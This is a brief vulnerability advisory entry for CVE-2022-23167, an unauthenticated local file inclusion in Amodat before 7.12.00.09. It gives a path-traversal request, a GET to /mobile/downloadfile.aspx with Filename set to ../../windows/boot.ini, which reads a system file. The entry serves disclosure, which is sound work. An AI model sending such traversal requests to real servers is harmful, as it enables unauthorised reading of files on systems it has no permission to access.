medium5.3
CVE-2022-23167
Attacker crafts a GET request to: /mobile/downloadfile.aspx?
Impact
Attacker crafts a GET request to: /mobile/downloadfile.aspx? Filename =../.. /windows/boot.ini the LFI is UNAUTHENTICATED.
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Amodat | Amodat | before 7.12.00.09 |